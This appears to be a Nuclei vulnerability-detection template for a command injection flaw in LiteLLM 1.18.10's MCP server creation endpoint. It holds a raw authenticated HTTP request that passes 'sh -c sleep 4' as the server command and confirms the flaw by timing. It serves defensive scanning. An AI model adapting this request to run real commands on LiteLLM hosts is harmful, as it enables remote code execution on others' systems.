CVE-2026-30623: LiteLLM 1.18.10 - Command Injection

id: CVE-2026-30623

info:
  name: LiteLLM 1.18.10 - Command Injection
  author: leeseungsu
  severity: high
  description: |
    LiteLLM 1.18.10 contains a remote code execution caused by lack of validation of arbitrary command and args in MCP server creation, letting attackers execute OS commands remotely, exploit requires crafted JSON configuration.
  impact: |
    Attackers can execute arbitrary OS commands remotely with LiteLLM process privileges, potentially compromising the host system.
  remediation: |
    Update to the latest version of LiteLLM with validation for MCP server commands.
  reference:
    - https://docs.litellm.ai/blog/mcp-stdio-command-injection-april-2026
    - https://cveawg.mitre.org/api/cve/CVE-2026-30623
    - https://github.com/BerriAI/litellm
  classification:
    cve-id: CVE-2026-30623
    epss-score: 0.04997
    epss-percentile: 0.91789
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,litellm,rce,authenticated,mcp

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "server_id": "nuclei-{{marker}}",
          "server_name": "nuclei-{{marker}}",
          "transport": "stdio",
          "command": "sh",
          "args": ["-c", "sleep 4"]
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: word
        part: body
        negative: true
        words:
          - "not in the allowed commands list"
          - "Allowed commands"

      - type: dsl
        dsl:
          - "duration >= 4"
# digest: 4a0a0047304502204bf2f4db3f374f7bb71f8adff5dc19d5ddc9db94d00b2453f50c97672660a1c8022100fe7eac5452c11d41bc279647c7368b40edc6c6d17c7275368b0c4805bbb03db0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.